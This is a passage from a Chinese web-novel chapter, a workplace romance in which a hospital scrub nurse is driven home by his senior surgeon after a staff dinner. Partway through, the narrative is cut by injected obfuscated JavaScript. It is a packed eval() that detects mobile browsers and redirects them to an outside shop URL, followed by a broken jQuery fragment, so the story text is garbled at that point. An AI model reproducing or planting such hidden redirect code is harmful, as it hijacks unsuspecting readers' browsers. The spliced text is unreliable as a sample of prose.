秦禾笙一坐下,叶竹都肉眼可见地安静下来很少跟俞钰说话,只低头吃东西。
俞钰身边好像有一个光源和热源,存在感极强,很多人时不时悄悄看一眼,却没有说什么。
秦禾笙到后,餐桌上的气氛变得沉寂,大家不敢乱说什么,只听到傅湘萍和程简时不时聊几句。
秦禾笙点完菜后抬头,面色如常地跟餐桌上的众人说:“继续聊,不用在意我。”
“刚才说到哪了?”
傅湘萍接话:“刚才在说小俞,他家里好像给介绍了个对象。”
俞钰:“……”
不是,怎么又说到他头上了。
可恶的秦禾笙,干嘛问刚刚说到哪,这家伙是不是故意的。
他抬头干笑着说:“是,家里给介绍了,目前正在接触。”
傅湘萍饶有兴致地问:“接触的怎么样呀?”
俞钰实在是不想回答这种相亲有关的具体问题,更不想被当场继续介绍对象,干脆胡诌:“接触的还可以,正在考虑进一步发展。”
回答时,他感觉全桌的人好像都看着他,就连身边的秦禾笙也在看他。
俞钰从来不喜欢当宇宙中心,开始不择手段地祸水东引:“傅姐别说我了,说说……嗯,说说程医生吧,要不要给他介绍一个?”
程简立刻说:“已婚人士,勿cue。”
俞钰愣住:“啊?”
程简好像刚工作不到一年吧,这就结婚了?
傅湘萍笑出来:“程医生还没毕业就英年早婚,对象是他师妹。”
俞钰默然,传说中优秀的医学生在上学阶段就会被订走,诚不欺人。
之后傅湘萍又加上一句:“这一桌子里除了你和叶竹,就只剩下秦医生还单身。”
众人的目光不由落在此时坐的很近的三个人身上。
傅湘萍在医院工作的时间跟秦禾笙差不多,更敢说话些,索性直接跟秦禾笙八卦。
“秦医生,听主任说最近好像有人给你介绍个对象,现在怎么样了?”
“不会怎么样。”秦禾笙毫不犹豫地回答:“没兴趣,不打算继续。”
傅湘萍听到这个结果一点也不意外,叹气道:“也不知道什么样的人能拿下秦医生。”
此时秦禾笙点的菜上来,一同端上来的还有对方点的饭后果盘,程简招呼大家吃饭后果盘,话题就没有继续下去。
三十来分钟后,聚餐准备散场。
傅湘萍开始担心下属的回家问题。
“小俞,你怎么回去?”
俞钰正想说可以跟叶竹一起回去,他们住的距离不远时,就发现叶竹不知道什么时候躲得很远,生怕跟秦禾笙多接触。
俞钰:……这个毫无友情的家伙。
他只能老实回答:“坐地铁吧。”
今天他车限号,早上就是坐地铁来的。
“太晚了,你这么好看的男孩自己坐地铁再走回家是不是不安全?”
俞钰有某种不妙的预感,连忙说:“不会,我没什么事可以自己回去。”
但傅湘萍好像没有听到他的话,依旧在思考:“我记得你家好像是住在东北三环那边……”
“在我家附近。”俞钰身后忽然传来一个声音,“我送他。”
傅湘萍顿时笑了:“那就麻烦秦医生。”
俞钰面无表情地转头,看到秦禾笙拿着车钥匙站在他身后。
事情怎么会变成这样的?
俞钰想破头皮都想不明白,怎么就变成领导送他回家。
坐领导的车回家这真的合适?
等秦禾笙结完账,桌子旁边已经只剩下俞钰一个人。
俞钰看到秦禾笙走过来,立刻说:“秦副高,我自己回去就行。”
“叫我秦医生,不用叫副高。”
“……哦。”俞钰又重复一遍刚才的话:“我自己回去就行不用麻烦你送,应该不顺路。”
秦禾笙没说好不好,只问:“你家住哪?”
俞钰报出小区名:“澜岸嘉苑,东北三环那边。”
“很近。”秦禾笙说:“我住旁边的长颐公馆。”
俞钰:“……”
“…………”
是真的很近,两个小区步行不到十分钟,这下连拒绝的理由都没有。
他像是霜打的白菜一样,蔫蔫地跟在秦禾笙身边,一起走去医院停车场。
去的路上,秦禾笙忽然说:“如果住的不近,上周也不会在咖啡厅碰到。”
俞钰差点变成苦瓜脸,为什么他会跟领导住这么近,这样还怎么离秦禾笙远一些,以后会不会经常要一起回家。
忽然觉得爸妈给买的房子没那么香了。
秦禾笙果然记得咖啡厅的事情,看模样应该记得全部,也记得他说了什么。
无论如何,背后说摸鱼说领导的事情都是他不对。
他主动承认:“秦医生,我跟学姐就是一时口嗨,你别放在心上。”
但秦禾笙却像是不记得那天的事情,反问道:“你有说什么不该说的么?”
……那可太多了。
什么没办法上班摸鱼,以及胃口不好不能搞领导,想想真让人头大。
胃口不好的事情坚决不能提,他选择性说:“不该说上班摸鱼的事情。”
“没有真的摸就行。”秦禾笙停下脚步,拉开副驾的门说:“上车吧。”
俞钰站在医院的地面停车场深呼吸。
医院的夜晚空灵又安静,满天繁星闪烁,景色静谧又优雅,像是一幅徐徐展开的水墨画卷,墨色浓郁,零星点缀着浅灰色的景物。
一切都很美好,只除了他要上秦禾笙的车。
早知道这样,他今天就算交罚款也要把车开来医院。
跟领导一起回家,是一件让人窒息的事情。
俞钰用视死如归的表情坐了进去,坐进去后他才想到好像刚刚没注意让秦禾笙帮他开门,毫无眼力。
所以他果然是那种领导夹菜他转桌的人吗。
秦禾笙绕过车头坐到驾驶座的位置,开启中控台,点开导航输入目的地。
虽然路程都记得,但他还是习惯打开导航听路况,及时躲避拥堵或者车祸。
车子发动时,他看了眼副驾驶的位置,俞钰背脊挺得笔直,嘴唇抿着,肉眼可见十分紧张。
好像,很怕他。
车行驶在俞钰熟悉的路上,跟以往不同的是这次他坐在副驾驶,内心无比希望车开得快些,再快些,他好早点到家摆脱秦禾笙的压力。
就在他心情紧绷,内心祈祷的时候,忽然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996184|193883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
听到秦禾笙问:“上次说的书看了么?”
俞钰内心“咯噔”一下,来了来了,虽迟但到,跟领导一起走时必不可少的聊工作。
还是个额外工作。
考虑了下他那点烂水平,不可能瞒得过已经拿手术刀好几年的秦禾笙,就直接承认:“没看。”
秦禾笙语气很平静,听不出生气的口吻:“为什么没看?”
俞钰:“……”
他为什么没看,秦禾笙会不懂?
是卷王没办法理解咸鱼吗,所以果然卷王和咸鱼之间有壁,无法理解彼此的想法,三观存在巨大差异。
“太深奥了,看不懂。”俞钰说了个半真半假的理由,“我只是器械护士,不是骨科医生。”
他说到这里也有点不服气:“而且就算是骨科医生,也没有都看完吧。”
凭什么让他看。
他今天特意问过程简的,程简也没看完,只翻看了一部分。
而且就算他能看懂也懒得看,那九本板砖看完头发都要掉光。
想到这里,他情不自禁地瞄了眼秦禾笙。
外表倒是看不出什么秃头前兆,而且头顶发丝浓密,发量多得让人羡慕。
说不定是植发,或者自己没看完但张嘴要别人看,宽以律己严以待人,这种医生不是没有。
俞钰不服气地想。
他不信看完那九本板砖,能够不掉头发。
秦禾笙:“我看完了。”
俞钰:“……”
“…………”
OK,算他输。
这个卷劲,真的跟他哥有一拼。
他哥在神外方面,也啃完了差不多数量的板砖。
头发嘛尚可,最起码不比他少。
他莫名觉得崔钰应该跟秦禾笙很有共同语言。
车不知何时停下车,秦禾笙侧头看着俞钰。
俞钰这才发现车已经开到小区门口,他飞快打开车门下车。
“谢谢秦医生送我回来,再见。”
他转身想关车门时,坐在车里的秦禾笙忽然看着他问:“工作上有没有遇到困难的事情?”
俞钰:“……”
真是谢谢关心啊。
卷王真的没意识到他本人就是目前工作中最大的困难吗。
“没有。”俞钰皮笑肉不笑地说:“最近工作挺好的。”
就是希望领导离他远一点。
关上车门走回小区时,他大松一口气。
总算是远离秦禾笙了。
俞钰开心到在路上蹦蹦跳跳好几下,一边哼歌一边走。
直到他身后传来秦禾笙的声音。
“你的包忘在车上了。”
俞钰停下脚步,像是戏台上的木偶一样,动作僵硬地一点点转过去。
他哭丧着脸跟秦禾笙说:“对不起秦医生,我刚才下车忘记拿。”
秦禾笙语气淡淡,听不出喜怒:“是走得急忘了拿么?”
俞钰但凡有点情商,就不可能承认从领导车上走得急。
但承认他丢三落四好像也不合适,毕竟没人喜欢会丢三落四的下属,特别还是一个正在实习期,可以无痛开除的下属。
最终他只好尴尬地说:“夜色太好,我……”
我编不下去了。